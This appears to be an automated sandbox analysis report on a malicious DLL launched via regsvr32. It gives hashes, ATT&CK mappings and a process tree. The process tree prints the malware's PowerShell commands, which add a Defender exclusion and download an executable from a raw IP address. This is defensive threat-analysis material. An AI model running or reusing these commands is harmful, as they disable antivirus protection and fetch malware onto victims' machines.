aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
19/12/2024, 07:25

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General

Target

iviewers.dll
Size

6KB
MD5

e017be56699801dc89a8d6d1724eb633
SHA1

a7f7aae4744210db8ebaf4da06c167357bc71eca
SHA256

aa6b0863022bda1e0c263a75ae2896fe473d3bf57a76efc258b3afec8c157564
SHA512

2368425dadc7f22eb11532359d4d1aa97bf3e381f4fd7b62c587e1f8819ef64a0ff7fc75cc5948939fadebc423345ab65a1cd2799bb4136fbea89d1f75dfc8c8
SSDEEP

96:fNnyOybUJQ23GgX791qKilsZODTgFZP/8R:fNnyOybrVO9QKilhfgFZP/u

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2944	powershell.exe
2596	powershell.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2640	2732	WerFault.exe	30

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2944	powershell.exe
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2716 wrote to memory of 2732	2716	regsvr32.exe	30
PID 2732 wrote to memory of 2944	2732	regsvr32.exe	31
PID 2732 wrote to memory of 2944	2732	regsvr32.exe	31
PID 2732 wrote to memory of 2944	2732	regsvr32.exe	31
PID 2732 wrote to memory of 2944	2732	regsvr32.exe	31
PID 2732 wrote to memory of 2596	2732	regsvr32.exe	33
PID 2732 wrote to memory of 2596	2732	regsvr32.exe	33
PID 2732 wrote to memory of 2596	2732	regsvr32.exe	33
PID 2732 wrote to memory of 2596	2732	regsvr32.exe	33
PID 2732 wrote to memory of 2640	2732	regsvr32.exe	35
PID 2732 wrote to memory of 2640	2732	regsvr32.exe	35
PID 2732 wrote to memory of 2640	2732	regsvr32.exe	35
PID 2732 wrote to memory of 2640	2732	regsvr32.exe	35

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\SysWOW64\regsvr32.exe
  /s C:\Users\Admin\AppData\Local\Temp\iviewers.dll
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2944
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\lrak4gvn.ya5.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2732 -s 800
    3⤵
    - Program crash
    PID:2640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
d843ad1d3a565ffd71df08167123e449

SHA1
da34109ca4b2d3b93676e2d9a722e5021bf09dc2

SHA256
7c8cf9821671b458f977437a505940f12a7428098d0d589f16abfb454d8b3b88

SHA512
31ac7fd3cfb1b0cca94a443bf112294ba3b19ea84f6b111c4becfa622540177ac1d9e7696c2011f9df426868c242ed2aa1eb8bb2010b686a0ace9be631ca2118

Download Submit
memory/2732-0-0x0000000000320000-0x000000000032A000-memory.dmp

Filesize
40KB

Download
memory/2732-1-0x0000000074510000-0x000000007451A000-memory.dmp

Filesize
40KB

Download